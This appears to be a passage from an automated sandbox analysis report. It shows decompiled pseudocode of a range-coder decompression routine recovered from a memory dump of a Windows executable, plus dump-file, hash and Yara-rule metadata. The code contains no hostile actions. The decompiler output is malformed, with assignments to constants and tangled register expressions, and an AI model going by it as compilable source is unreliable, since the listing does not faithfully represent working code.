											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction ID: 736e54d1ea8bc2ffbcc58a3ee687e8f06aed80bce92bf0dad63538ea203c4f31
Opcode Fuzzy Hash: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction Fuzzy Hash: 77913271D00229CBDF28CF98C844BADBBB1FF44305F15816AD856BB281D7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062F4() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4)); // executed
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
